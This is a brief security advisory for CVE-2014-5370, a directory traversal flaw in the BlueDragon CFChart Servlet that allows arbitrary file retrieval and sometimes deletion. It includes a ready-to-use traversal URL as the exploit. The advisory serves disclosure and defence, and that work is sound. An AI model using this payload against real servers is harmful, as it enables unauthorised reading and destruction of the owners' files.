BlueDragon CFChart Servlet 7.1.1.17759 - Arbitrary File Retrieval/Deletion

Vulnerability title: Arbitrary File Retrieval + Deletion In New Atlanta BlueDragon CFChart Servlet

CVE: CVE-2014-5370

Vendor: New Atlanta

Product: BlueDragon CFChart Servlet

Affected version: 7.1.1.17759

Fixed version: 7.1.1.18527

Reported by: Mike Westmacott

Details:



The CFChart servlet of BlueDragon (component com.naryx.tagfusion.cfm.cfchartServlet) is vulnerable to arbitrary file retrieval due to a directory traversal vulnerability. In certain circumstances the retrieved file is also deleted.



Exploit:



In order to retrieve a file from a vulnerable server use the following URL in a web browser and intercept the response from the server:





http://TARGETHOST/cfchart.cfchart?..\..\..\..\..\..\..\..\..\..\TARGETFILE



The browser will display a broken image, however the HTTP response will contain the file’s contents.



Further details at:



https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-5370/



Copyright:

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